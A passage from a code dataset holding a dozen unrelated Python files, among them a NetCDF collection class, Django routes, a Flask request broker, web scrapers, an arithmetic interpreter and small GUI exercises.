keys.\n \n Parameters\n ----------\n \n timeStamp : timeStamp\n \n Returns\n -------\n \n timeIndex : int\n \"\"\" \n \n return self.timeIndexes[self.getTimeStampFromKey(timeStamp)]\n \n \n \n \n def getVariableData(self, variableName, date=None , **kwargs):\n \"\"\"\n Get the the data values of a given variable for a given date.\n \n See :py:meth:`pyWAT.io.wrfNetcdfFile.wrfNetcdfFile.getVariableData` \n for more details in the optional arguments.\n and the return values.\n \n Parameters\n ----------\n variableName: str\n Variable Name \n \n \n date : dateTime_ , str or int \n If a dateTime_ object or a string with the time stamp (*%Y%m%dT%H%M%S*) \n is passed it will return the data corresponding to that date. See\n :meth:`getTimeStampFromKey` for more information on the date \n retrieved from the collection.\n \n \n Other Parameters\n ---------------\n \n kwargs : extra keywords arguments , optional\n See\n :meth:`pyWAT.io.wrfNetcdfFile.wrfNetcdfFile.getVariableData` for \n more information on the default retrieved values and \n the supported keywords\n \n \"\"\"\n \n if len(self.availableTimes) == 0:\n raise fatalError(\"Error Retrieving Data from collection\",\n \"No times available in the collection to retrieve data\",\n \"Collection Type: %s\" % self.__class__)\n \n \n \n # TODO: Is this slow??? Puff\n if date is None:\n \n variableData = None\n for timeIndex , _time in enumerate(self.availableTimes):\n _netcdfFile = self[_time]\n \n _variableData = _netcdfFile.getVariableData(variableName,\n timeIndex=_netcdfFile.timeIndex,\n **kwargs)\n if variableData is None:\n variableData = numpy.zeros((len(self.availableTimes) ,) + \n _variableData.shape \n )\n \n variableData[timeIndex, :] = _variableData[:]\n \n \n else:\n \n _netcdfFile = self[date] \n variableData = _netcdfFile.getVariableData(variableName, timeIndex=_netcdfFile.timeIndex, **kwargs)\n \n return variableData\n \n \n getData = getVariableData \n \n def add(self,\n inputFilesOrDirectory, mode='r' ,\n pattern=\"wrfout_d01*\",\n dataClass=wrfNetcdfFile):\n \"\"\" \n Add to the collection a single Netcdf file or all the Netcdf files in \n a directory that matches a certain pattern.\n \n It supports as input argument a list or a tuple with directories \n or file paths.\n \n All the times available in the files are added.\n \n On error a :py:class:`pyWAT.core.errorHandling.fatalError` \n exception is raised.\n \n Parameters\n ----------\n \n inputFilesOrDirectory : str, list or tuple\n List or tuple of Directory or file paths\n \n mode : str, optional\n File access mode. Read only by default. \n 'r' means read-only; no data can be modified. \n 'w' means write; \n 'a' new file is created, an existing file with the same name is deleted. \n 'a' and 'r+' mean append (in analogy with serial files); an existing file is opened for reading and writing.\n \n \n pattern : str\n Pattern of file names to add \n \"\"\" \n super().add(inputFilesOrDirectory,\n mode , pattern,\n dataClass)\n \n \n \n \n def getRandomOutputFile(self):\n \"\"\"\n Get a random Netcdf File from the collection.\n \n If no Netcdf files were loaded a\n :py:class:`~pyWAT.core.errorHandling.fatalError` exception is raised. \n \n \"\"\"\n if len(self) == 0:\n raise fatalError(\"Error getting Random output file from the collection\",\n \"No netcdfFiles were loaded\")\n \n \n return self[0]\n \n \n def getAvailableVariables(self, *args, **kwargs):\n \"\"\"\n Get available variables in the files in the collection.\n \n See py:meth:`pyWAT.io.wrfNetcdfFile.wrfNetcdfFile.getAvailableVariables` \n for more details in the supported arguments \n \"\"\"\n return self.getRandomOutputFile().getAvailableVariables(*args, **kwargs)\n \n \n def cleanBuffers(self):\n \"\"\"\n Clean internal buffer in all elements of the collection.\n \"\"\"\n for _element in self: \n _element.cleanBuffers()\n \n \n def close(self):\n \"\"\" Close all the open `Netcdf dataset`_ in the collection: \n \n .. _Netcdf dataset: http://unidata.github.io/netcdf4-python/#netCDF4.Dataset\n \n \"\"\"\n \n for _element in self:\n _dataset = _element.dataset\n \n if _dataset is not None:\n if _dataset._isopen:\n _dataset.close()\n \n \n","sub_path":"pyWAT/collections/wrfNetcdfFileCollection.py","file_name":"wrfNetcdfFileCollection.py","file_ext":"py","file_size_in_byte":9257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"435331064","text":"\"\"\"Gestionnaire URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom . import views\n\nurlpatterns = [\n # Site Admin\n path('admin/', admin.site.urls),\n\n # home\n path('', views.home, name='home'),\n\n # gProduit\n path('gProduit/liste-des-produits', views.listProduits, name='listProduits'),\n path('gProduit/ajouter-un-produit', views.addProduits, name='addProduits'),\n path('gProduit/supprimer-un-produit', views.deleteProduits, name='deleteProduits'),\n path('gProduit/modifier-un-produit/<str:pk>', views.updateProduits, name='updateProduits'),\n path('gProduit/detail-produit/<str:pk>', views.detailProduits, name='detailProduits'),\n\n # gUtilisateurs\n path('gUtilisateur/liste-des-utilisateurs', views.listUtilisateurs, name='listUtilisateurs'),\n path('gUtilisateur/ajouter-un-utilisateur', views.addUtilisateurs, name='addUtilisateurs'),\n path('gUtilisateur/supprimer-un-utilisateur', views.deleteUtilisateurs, name='deleteUtilisateurs'),\n path('gUtilisateur/modifier-un-utilisateur/', views.updateUtilisateurs, name='updateUtilisateurs'),\n path('gUtilisateur/attribuer-des-permissions', views.permissionUtilisateurs, name='permissionUtilisateurs'),\n\n # gTicket\n path('gTicket/liste-des-tickets', views.listTickets, name='listTickets'),\n path('gTicket/ouvrir-un-ticket', views.addTickets, name='addTickets'),\n path('gTicket/supprimer-un-ticket', views.deleteTickets, name='deleteTickets'),\n path('gTicket/modifier-un-ticket/<str:pk>', views.updateTickets, name='updateTickets'),\n path('gTicket/detail-ticket/<str:pk>', views.detailTickets, name='detailTickets'),\n path('gTicket/gestion-etat-des-tickets', views.etatTickets, name='etatTickets'),\n path('gTicket/categorisation-des-tickets', views.categorizeTickets, name='categorizeTickets'),\n path('gTicket/detail-categorie/<str:pk>', views.detailCategorie, name='detailCategorie'),\n path('gTicket/assignation-support-delai-gravite-au-ticket', views.assignTickets, name='assignTickets'),\n\n # Signup\n path('accounts/signup/', views.signup, name=\"signup\"),\n\n # Login\n path(\"login/\", views.login_view, name = \"login\"),\n path(\"accounts/login/\", views.login_view, name = \"login\"),\n\n # Logout\n path(\"logout/\", views.logout_view, name = \"logout_view\"),\n path(\"accounts/logout/\", views.logout_view, name = \"logout_view\"),\n\n]\n","sub_path":"Gestionnaire/Gestionnaire/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"264713691","text":"#Exercise 06-03\n'''\nname: Jax\nidnumber: 201810701580041\nclass: net182\n'''\n\nfrom tkinter import *\nimport tkinter.messagebox as ms\nt= Tk()\nf1=Frame(t)\nf1.pack(side='bottom')\nt1=Entry(t)\nt1.pack()\nl1=Label(t)\nl1.pack()\ndef calcC():\n g=float(t1.get())\n l1.config(text=str(5/9*(g-32)))\ndef calcF():\n g=float(t1.get())\n l1.config(text=str((9/5)*g+32))\nb1=Button(f1,text='Celsius',fg='red',command=calcC)\nb1.pack(side='left')\nb2=Button(f1,text='Fahrenheit',fg='green',command=calcF)\nb2.pack(side='right')\nt.mainloop()\n","sub_path":"Python_OOP/Exercise/Exercise 06/201810701580041 - Jax/Exercise 06-03.py","file_name":"Exercise 06-03.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"593325712","text":"#!/usr/bin/python2.7\n\nfrom flask import request, Response\nfrom bson import json_util\nimport json\n\nimport notifications\nimport panel\nimport utils\n\nfrom models import abilities_and_impairments, survivors, settlements, users, monsters, campaigns, disorders, expansions, fighting_arts, gear, resources, storage, rules, keywords\nfrom Models import AssetLoadError\n\nlogger = utils.get_logger(log_name=\"server\")\n\n#\n# The point of this module is to get business logic re: request-handling\n# out of api.py, so that can stay focused on authenticaiton and request\n# routing.\n#\n# All methods in this module should return an HTTP response if they fail.\n#\n\nclass badResponse():\n \"\"\" A little dummy/slug class for returning bad HTTP responses. \"\"\"\n\n def __init__(self, http_response=utils.http_422, **kwargs):\n self.logger = logger\n self.response = http_response\n\n def request_response(self, action):\n self.logger.warn(\"Returning failure response to bad '%s' request.\" % action)\n return self.response\n\n def send_bad_response(self, e):\n \"\"\" We have a coupld of bad responses we can return when the broker\n fails. First, we if an AsseLoadError type exception, we do a generic\n 404. Second, if we are being asked to return a utils.InvalidUsage\n type object, we just raise that as we normally would.\n\n Otherwise, we're sending the generic 500 server explosion back.\n \"\"\"\n\n # return a 404 if we can't find the asset ID\n if isinstance(e, AssetLoadError):\n self.logger.warn(\"Requested asset _id could not be initialized!\")\n return utils.http_404\n elif isinstance(e, utils.InvalidUsage):\n raise e\n\n self.logger.exception(e)\n return utils.http_500\n\ndef admin_notifications(method=None):\n \"\"\" Creates a new admin asset. Used currently only for webapp alerts. \"\"\"\n\n A = notifications.Alert()\n if method==\"new\":\n return A.serialize()\n elif method==\"expire\":\n A.expire()\n return A.serialize()\n else:\n return utils.http_501\n\n return utils.http_501\n\ndef get_admin_data(resource=None):\n \"\"\" Retrieves various types of admin panel data. \"\"\"\n\n try:\n if resource == 'user_data':\n return panel.get_user_data()\n if resource == 'settlement_data':\n return panel.get_settlement_data()\n elif resource == 'logs':\n return panel.serialize_system_logs()\n elif resource == 'webapp_alerts':\n return notifications.get_webapp_alerts()\n except Exception as e:\n logger.error(\"Unable to return '%s' admin data!\" % resource)\n logger.error(e)\n raise utils.InvalidUsage(e, status_code=500)\n\n return utils.http_500\n\n\ndef get_user_asset(collection=None, asset_id=None):\n \"\"\" Tries to return an initialized asset from one of our collections.\n Returns a (bad) HTTP response if it cannot. \"\"\"\n\n R = badResponse()\n try:\n if collection == \"settlement\":\n return settlements.Settlement(_id=asset_id)\n elif collection == \"survivor\":\n return survivors.Survivor(_id=asset_id)\n elif collection == \"user\":\n return users.User(_id=asset_id)\n else:\n return R\n\n except Exception as e:\n return R.send_bad_response(e)\n\n\ndef get_game_asset(collection):\n \"\"\" Simliar to get_user_asset(), except for game assets, such as monsters,\n gear, locations, etc.\n\n This is basically for public/reference lookups ONLY, so there's not a lot\n going on here, in terms of lookups for users and user assets, etc.\n \"\"\"\n\n supported_endpoints = {\n 'abilities_and_impairments': abilities_and_impairments,\n 'campaign': campaigns,\n 'disorder': disorders,\n 'expansion': expansions,\n 'fighting_art': fighting_arts,\n 'gear': gear,\n 'monster': monsters,\n 'resource': resources,\n 'storage': storage,\n 'rules': rules,\n 'keywords': keywords,\n }\n\n if collection not in supported_endpoints.keys():\n return Response(response=\"/game_asset/%s is not a supported game asset lookup endpoint!\" % collection, status=404)\n\n A = supported_endpoints[collection].Assets()\n\n return A.request_response()\n\n\ndef new_user_asset(asset_type=None):\n \"\"\" Hands off a new asset creation request and returns the result of the\n request. Like all brokerage methods, this method always returns an HTTP\n response.\n\n The idea is to call this in request-processing workflow when you know that\n you've got an asset creation request.\n\n This brokerage method expects a few things:\n\n 1.) you've added a logger to the request\n 2.) you've also added a models.users.User object to the request\n 3.) you're passing in JSON params that can be processed when\n fulfilling your request\n\n If you are NOT doing all of that, do NOT pass off a request to this method,\n unless you want to throw a 500 back at the user.\n\n \"\"\"\n\n# logger.debug(\"%s is requesting a new '%s' asset!\" % (request.User, asset_type))\n\n if asset_type == \"settlement\":\n S = settlements.Settlement()\n return S.serialize()\n elif asset_type == \"survivor\":\n S = survivors.Survivor()\n return S.serialize()\n elif asset_type == \"survivors\":\n output = survivors.add_many_survivors(dict(request.get_json()))\n return Response(\n response=json.dumps(output, default=json_util.default),\n status=200,\n mimetype=\"application/json\"\n )\n else:\n return Response(\n response=\"Creating '%s' user assets via request_broker() is not supported!\" % asset_type,\n status=422,\n mimetype=\"text/plain\",\n )\n\n return utils.http_400\n\n\n\n\n\n\n","sub_path":"v2/api.thewatcher.io/api/request_broker.py","file_name":"request_broker.py","file_ext":"py","file_size_in_byte":5852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"642901893","text":"# !/usr/bin/python3.6\n# -*- coding: UTF-8 -*-\n# author: lucien\n# 基础包: locust趋势图生成包\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\nfrom matplotlib import dates\n\nclientNum = 1\n\nhex_colors = [\n '#FF7500',\n '#F00056',\n '#0EB83A',\n '#00BC12',\n '#1BD1A5',\n '#0C8918',\n '#0AA344',\n '#2ADD9C',\n '#3DE1AD',\n '#424C50',\n '#DB5A6B',\n '#FF4E20',\n '#3EEDE7',\n '#4B5CC4',\n '#70F3FF',\n '#2E4E7E',\n '#3B2E7E',\n '#425066',\n '#8D4BBB',\n '#815476',\n '#808080',\n '#161823',\n '#50616D',\n '#725E82',\n '#A78E44',\n '#8C4356',\n '#F47983',\n '#B36D61',\n '#C93756',\n '#FF2121',\n '#C83C23',\n '#9D2933',\n '#FFF143',\n '#FF0097',\n '#A98175',\n '#C32136',\n '#6E511E',\n '#F20C00',\n '#F9906F',\n '#FF8936',\n '#DC3023',\n '#EAFF56',\n '#FFA400',\n '#60281E',\n '#44CEF6',\n '#F0C239',\n '#A88462',\n '#B35C44',\n '#B25D25',\n '#C89B40',\n '#D9B611',\n '#827100',\n '#C3272B',\n '#7C4B00',\n '#BDDD22',\n '#789262',\n '#FF8C31',\n '#C91F37',\n '#00E500',\n '#177CB0',\n '#065279',\n]\n\n\ndef read_last_line(filename, csvdata):\n global clientNum\n with open(filename) as csvfile:\n lines = csvfile.readlines()\n targeline = lines[-1]\n xname = filename.split('_')[0].split('/')[-1][4:]\n outputline = \"{},\".format(xname) + targeline + \"\\n\"\n csvdata.append(outputline)\n clientNum = clientNum + 1\n\n\nclass DataAnalyse:\n def __init__(self, dirname):\n self.dirname = dirname\n self.xfmt = dates.DateFormatter('%m/%d %H:%M')\n self._init_graph() # 初始化趋势图大小\n self._set_graph() # 初始化趋势图样式\n self.csvdata = []\n global clientNum\n clientNum = 1\n for root, dirs, files in os.walk(dirname):\n for file in files:\n if os.path.join(root, file).split('/')[-1][-12:] == \"requests.csv\":\n read_last_line(os.path.join(root, file), self.csvdata)\n self.csvdata.sort(key=lambda innerdata: int(innerdata.split(',')[0]))\n open(\"./output.csv\", \"w\").writelines(self.csvdata)\n\n headers = ['client', 'Method', 'Name', '# requests', '# failures', 'Median response time', 'Average response time',\n 'Min response time', 'Max response time', 'Average Content Size', 'Requests/s'] # 命名字段标题\n self.data = pd.read_csv(\"./output.csv\", sep=',', names=headers) # 从文件获取内容为DATAFRAME格式\n for col in headers[-8:1]: # 转换response_time和size为int型\n self.data[col] = self.data[col].apply(lambda x: int(x))\n for col in headers[1:2]: # 取消掉所有非int型的空格\n self.data[col] = self.data[col].apply(lambda x: x.strip())\n self.xdata = self.data['client']\n self.xdata1 = self.data['client']\n self.ydata = self.data['Requests/s']\n self.data1 = pd.read_csv(\"./output1.csv\", sep=',', names=headers) # 从文件获取内容为DATAFRAME格式\n for col in headers[-8:1]: # 转换response_time和size为int型\n self.data1[col] = self.data1[col].apply(lambda x: int(x))\n self.ydata1 = self.data1['Requests/s']\n\n def _init_graph(self):\n left, width = 0.1, 0.8\n bottom, height = 0.1, 0.8\n self.trend_scatter = [left, bottom, width, height]\n\n def _set_graph(self):\n plt.clf()\n\n self.ax_plot = plt.axes(self.trend_scatter) # 套用axes大小\n self.ax_plot.grid(True) # 打开网格\n self.ax_plot.set_ylabel('Req/s') # 纵坐标标题\n self.ax_plot.set_xlabel('Concurrent client amount') # 横坐标标题\n\n def generate_trend(self): # 生成趋势图\n plt.plot(self.xdata, self.ydata, label='loadbalance')\n plt.plot(self.xdata1, self.ydata1, label='no loadbalance')\n plt.title(\"load-test\")\n plt.savefig(fname='.'.join(['./evaluation', 'png'])) # 保存趋势图\n\n\nif __name__ == '__main__':\n data = DataAnalyse('/home/wzl/sjtu/ipads/cse/mycode/load-test/traces/')\n data.generate_trend()\n","sub_path":"evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":4149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"97959323","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n__author__ = 'cyc'\n__data__ = '2015/10/19'\nimport time\nfrom splinter import Browser\n# browser = Browser('chrome')\n\nwith Browser('chrome') as browser:\n # Visit URL\n url = \"http://www.baidu.com\"\n browser.visit(url)\n # uipath = unicode('陈艺川',\"utf8\")\n searchstr = unicode('厦门国贸',\"utf8\")\n isinstance(searchstr, unicode) #判断是否为unicode形式,只有unicode才可以进行fill\n browser.fill('wd',searchstr) #.decode('utf8')\n # #也可以写成 browser.fill('wd','陈艺川'.decode('utf8'))\n # Find and click the 'search' button\n # button = browser.find_by_name('btnhover')\n # Interact with elements\n # button.click()\n browser.find_by_id('su').click()\n # for a in browser.html:\n # print(a)\n # if browser.is_text_present('splinter.readthedocs.org'):\n # print(\"Yes, the official website was found!\")\n # else:\n # print(\"No, it wasn't found... We need to improve our SEO techniques\")\n time.sleep(60) # Let the user actually see something!\n # browser.quit()\n","sub_path":"cyc/selenium/z1_splinter_baidu_中文提交查询.py","file_name":"z1_splinter_baidu_中文提交查询.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"35357373","text":"from selenium import webdriver\nimport time\n\n\nclass DouyuSpider(object):\n '''斗鱼房间信息'''\n\n def __init__(self):\n self.start_url = 'https://www.douyu.com/directory/all'\n options = webdriver.ChromeOptions()\n # options.add_argument('--headless')\n self.driver = webdriver.Chrome(options=options)\n # self.driver.implicitly_wait(20)\n\n def get_content_list(self):\n li_list = self.driver.find_elements_by_xpath(\"//ul[@class='layout-Cover-list']/li\")\n content_list = list()\n for li in li_list:\n item = dict()\n item['room_title'] = li.find_element_by_xpath(\".//h3[@class='DyListCover-intro']\").get_attribute(\"title\")\n item['room_author'] = li.find_element_by_xpath('.//div[@class=\"DyListCover-userName\"]').text\n item['room_hot'] = li.find_element_by_xpath('./div/a//span[@class=\"DyListCover-hot\"]').text\n print('room_title:%s\\troom_author:%s\\troom_hot:%s' % (\n item['room_title'], item['room_author'], item['room_hot']))\n content_list.append(item)\n next_url = self.driver.find_elements_by_xpath(\"//div[@class='ListFooter']/ul/li[last()]\")\n next_url = next_url[0] if len(next_url) > 0 else None\n return content_list, next_url\n\n def save_content_list(self, content_list):\n with open('douyu_data.txt', 'a') as f:\n for item in content_list:\n f.write('room_title:%s\\troom_author:%s\\troom_hot:%s\\n' % (\n item['room_title'], item['room_author'], item['room_hot']))\n\n def run(self): # 实现主要逻辑\n # 1.获取start_url\n # 2.发送请求获取响应\n self.driver.get(self.start_url)\n time.sleep(10)\n # 3.提取网页数据, 获取next_url\n content_list, next_url = self.get_content_list()\n # 4.保存数据\n self.save_content_list(content_list)\n while next_url:\n next_url.click()\n # time.sleep(10)\n # 提取网页数据, 获取next_url\n content_list, next_url = self.get_content_list()\n # 保存数据\n self.save_content_list(content_list)\n\n\nif __name__ == '__main__':\n douyu = DouyuSpider()\n douyu.run()\n","sub_path":"douyu_spider.py","file_name":"douyu_spider.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"574741123","text":"from enum import Enum, unique\nfrom typing import TYPE_CHECKING, Dict\n\nif TYPE_CHECKING:\n from .context import WorkspaceProcessContext\n\n\n@unique\nclass Permissions(str, Enum):\n LAUNCH_PIPELINE_EXECUTION = \"launch_pipeline_execution\"\n LAUNCH_PIPELINE_REEXECUTION = \"launch_pipeline_reexecution\"\n RECONCILE_SCHEDULER_STATE = \"reconcile_scheduler_state\"\n START_SCHEDULE = \"start_schedule\"\n STOP_RUNNING_SCHEDULE = \"stop_running_schedule\"\n START_SENSOR = \"start_sensor\"\n STOP_SENSOR = \"stop_sensor\"\n TERMINATE_PIPELINE_EXECUTION = \"terminate_pipeline_execution\"\n DELETE_PIPELINE_RUN = \"delete_pipeline_run\"\n RELOAD_REPOSITORY_LOCATION = \"reload_repository_location\"\n RELOAD_WORKSPACE = \"reload_workspace\"\n WIPE_ASSETS = \"wipe_assets\"\n LAUNCH_PARTITION_BACKFILL = \"launch_partition_backfill\"\n CANCEL_PARTITION_BACKFILL = \"cancel_partition_backfill\"\n\n def __str__(self) -> str:\n return str.__str__(self)\n\n\nVIEWER_PERMISSIONS: Dict[str, bool] = {\n Permissions.LAUNCH_PIPELINE_EXECUTION: False,\n Permissions.LAUNCH_PIPELINE_REEXECUTION: False,\n Permissions.RECONCILE_SCHEDULER_STATE: False,\n Permissions.START_SCHEDULE: False,\n Permissions.STOP_RUNNING_SCHEDULE: False,\n Permissions.START_SENSOR: False,\n Permissions.STOP_SENSOR: False,\n Permissions.TERMINATE_PIPELINE_EXECUTION: False,\n Permissions.DELETE_PIPELINE_RUN: False,\n Permissions.RELOAD_REPOSITORY_LOCATION: False,\n Permissions.RELOAD_WORKSPACE: False,\n Permissions.WIPE_ASSETS: False,\n Permissions.LAUNCH_PARTITION_BACKFILL: False,\n Permissions.CANCEL_PARTITION_BACKFILL: False,\n}\n\nEDITOR_PERMISSIONS: Dict[str, bool] = {\n Permissions.LAUNCH_PIPELINE_EXECUTION: True,\n Permissions.LAUNCH_PIPELINE_REEXECUTION: True,\n Permissions.RECONCILE_SCHEDULER_STATE: True,\n Permissions.START_SCHEDULE: True,\n Permissions.STOP_RUNNING_SCHEDULE: True,\n Permissions.START_SENSOR: True,\n Permissions.STOP_SENSOR: True,\n Permissions.TERMINATE_PIPELINE_EXECUTION: True,\n Permissions.DELETE_PIPELINE_RUN: True,\n Permissions.RELOAD_REPOSITORY_LOCATION: True,\n Permissions.RELOAD_WORKSPACE: True,\n Permissions.WIPE_ASSETS: True,\n Permissions.LAUNCH_PARTITION_BACKFILL: True,\n Permissions.CANCEL_PARTITION_BACKFILL: True,\n}\n\n\ndef get_user_permissions(context: \"WorkspaceProcessContext\") -> Dict[str, bool]:\n if context.read_only:\n return VIEWER_PERMISSIONS\n else:\n return EDITOR_PERMISSIONS\n","sub_path":"python_modules/dagster/dagster/core/workspace/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"512366342","text":"\ndef spam(a, b, c):\n print(a)\n print(b)\n print(c)\n\nspam(1, 2, 3)\nspam('fee', 'fi', 'fo')\n\nvalues = 100, 200, 300, 400, 500\nprint(type(values))\n\nspam(values[0], values[1], values[2])\nspam(*values[:3]) # unpacks iterable to individual arguments\n\n\n","sub_path":"unpacking_function_args.py","file_name":"unpacking_function_args.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"169282151","text":"from __future__ import division\nfrom arithematic_parser import *\nimport os\nimport sys\nimport re\n\n\nINTEGER, PLUS, MINUS, MUL, DIV, LPAREN, RPAREN, EOF, DECIMAL = (\n 'INTEGER', 'PLUS', 'MINUS', 'MUL', 'DIV', '(', ')', 'EOF', '.'\n)\n\n\nclass Token(object):\n def __init__(self, type, value):\n self.type = type\n self.value = value\n\n def __str__(self):\n \"\"\"String representation of the class instance.\n\n Examples:\n Token(INTEGER, 3)\n Token(PLUS, '+')\n Token(MUL, '*')\n \"\"\"\n return 'Token({type}, {value})'.format(\n type=self.type,\n value=repr(self.value)\n )\n\n def __repr__(self):\n return self.__str__()\n\n\nclass Lexer(object):\n def __init__(self, text):\n # client string input, e.g. \"4 + 2 * 3 - 6 / 2\"\n self.text = text\n # self.pos is an index into self.text\n self.pos = 0\n self.current_char = self.text[self.pos]\n\n def error(self):\n raise Exception('Invalid character')\n\n def advance(self):\n \"\"\"Advance the `pos` pointer and set the `current_char` variable.\"\"\"\n self.pos += 1\n if self.pos > len(self.text) - 1:\n self.current_char = None # Indicates end of input\n else:\n self.current_char = self.text[self.pos]\n\n def skip_whitespace(self):\n while self.current_char is not None and self.current_char.isspace():\n self.advance()\n\n def integer(self):\n \"\"\"Return a (multidigit) integer consumed from the input.\"\"\"\n result = ''\n while self.current_char is not None and self.current_char.isdigit() or self.current_char == '.':\n result += self.current_char\n self.advance()\n return float(result)\n\n def get_next_token(self):\n \"\"\"Lexical analyzer (also known as scanner or tokenizer)\n\n This method is responsible for breaking a sentence\n apart into tokens. One token at a time.\n \"\"\"\n while self.current_char is not None:\n\n if self.current_char.isspace():\n self.skip_whitespace()\n continue\n\n if self.current_char.isdigit():\n return Token(INTEGER, self.integer())\n\n if self.current_char == '.':\n return Token(INTEGER, self.integer())\n\n if self.current_char == '+':\n self.advance()\n return Token(PLUS, '+')\n\n if self.current_char == '-':\n self.advance()\n return Token(MINUS, '-')\n\n if self.current_char == '*':\n self.advance()\n return Token(MUL, '*')\n\n if self.current_char == '/':\n self.advance()\n return Token(DIV, '/')\n\n if self.current_char == '(':\n self.advance()\n return Token(LPAREN, '(')\n\n if self.current_char == ')':\n self.advance()\n return Token(RPAREN, ')')\n\n self.error()\n\n return Token(EOF, None)\n\n\nclass Interpreter(object):\n def __init__(self, lexer):\n self.lexer = lexer\n # set current token to the first token taken from the input\n self.current_token = self.lexer.get_next_token()\n\n def error(self):\n raise Exception('Invalid syntax')\n\n def eat(self, token_type):\n # compare the current token type with the passed token\n # type and if they match then \"eat\" the current token\n # and assign the next token to the self.current_token,\n # otherwise raise an exception.\n if self.current_token.type == token_type:\n self.current_token = self.lexer.get_next_token()\n else:\n self.error()\n\n def factor(self):\n \"\"\"factor : INTEGER | LPAREN expr RPAREN\"\"\"\n token = self.current_token\n if token.type == INTEGER:\n self.eat(INTEGER)\n return token.value\n elif token.type == LPAREN:\n self.eat(LPAREN)\n result = self.expr()\n self.eat(RPAREN)\n return result\n\n def term(self):\n \"\"\"term : factor ((MUL | DIV) factor)*\"\"\"\n result = self.factor()\n\n while self.current_token.type in (MUL, DIV):\n token = self.current_token\n if token.type == MUL:\n self.eat(MUL)\n result = result * self.factor()\n elif token.type == DIV:\n self.eat(DIV)\n result = result / self.factor()\n\n return result\n\n def expr(self):\n \"\"\"Arithmetic expression parser / interpreter.\n\n calc> 7 + 3 * (10 / (12 / (3 + 1) - 1))\n 22\n \n Rules : \n expr : term ((PLUS | MINUS) term)*\n term : factor ((MUL | DIV) factor)*\n factor : INTEGER | LPAREN expr RPAREN\n \"\"\"\n result = self.term()\n\n while self.current_token.type in (PLUS, MINUS):\n token = self.current_token\n if token.type == PLUS:\n self.eat(PLUS)\n result = result + self.term()\n elif token.type == MINUS:\n self.eat(MINUS)\n result = result - self.term()\n\n return result\n\n\ndef main():\n while True:\n try:\n try:\n text = raw_input('calc> ')\n except NameError: # Python3\n text = input('calc> ')\n except EOFError:\n break\n if not text:\n continue\n lexer = Lexer(text)\n interpreter = Interpreter(lexer)\n result = interpreter.expr()\n print(result)\n\n\nif __name__ == '__main__':\n main()","sub_path":"examples/arithematic_parser.py","file_name":"arithematic_parser.py","file_ext":"py","file_size_in_byte":5691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"90958545","text":"# Напишите функцию-генератор count первых чисел Фибоначчи\n\n\ndef fibonacci(count):\n prev, last = 0, 1\n for i in range(count):\n yield last;\n prev, last = last, prev + last\n\nfor i in fibonacci(5): print(i)\n","sub_path":"Tasks-2016-03-19/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"82397152","text":"import sys\nfrom PyQt5.QtWidgets import QWidget, QGridLayout, QLabel, QLineEdit, QPushButton\nfrom xml.etree.ElementTree import ElementTree\n\nclass CreateWindow(QWidget):\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n gBox = QGridLayout()\n\n self.tree = self.returnTree('config.xml')\n\n nginxLabel = QLabel('nginx')\n self.nginxStartText = QLineEdit(self.tree.findall('nginx/start')[0].text)\n self.nginxStopText = QLineEdit(self.tree.findall('nginx/stop')[0].text)\n\n phpLabel = QLabel('php')\n self.phpStartText = QLineEdit(self.tree.findall('php/start')[0].text)\n self.phpStopText = QLineEdit(self.tree.findall('php/stop')[0].text)\n\n mysqlLabel = QLabel('nginx')\n self.mysqlStartText = QLineEdit(self.tree.findall('mysql/start')[0].text)\n self.mysqlStopText = QLineEdit(self.tree.findall('mysql/stop')[0].text)\n\n gBox.addWidget(nginxLabel, 0, 0)\n gBox.addWidget(self.nginxStartText, 0, 1)\n gBox.addWidget(self.nginxStopText, 1, 1)\n\n gBox.addWidget(phpLabel, 2, 0)\n gBox.addWidget(self.phpStartText, 2, 1)\n gBox.addWidget(self.phpStopText, 3, 1)\n\n gBox.addWidget(mysqlLabel, 4, 0)\n gBox.addWidget(self.mysqlStartText, 4, 1)\n gBox.addWidget(self.mysqlStopText, 5, 1)\n\n submitBtn = QPushButton('save')\n submitBtn.clicked.connect(self.saveXml)\n backBtn = QPushButton('back')\n backBtn.clicked.connect(self.hide)\n gBox.addWidget(submitBtn, 6, 0)\n gBox.addWidget(backBtn, 6, 1)\n self.setLayout(gBox)\n\n self.setWindowTitle('JMNMP')\n self.setGeometry(300, 300, 700, 200)\n\n def returnTree(self, file):\n tree = ElementTree()\n tree.parse(file)\n return tree\n\n def saveXml(self):\n 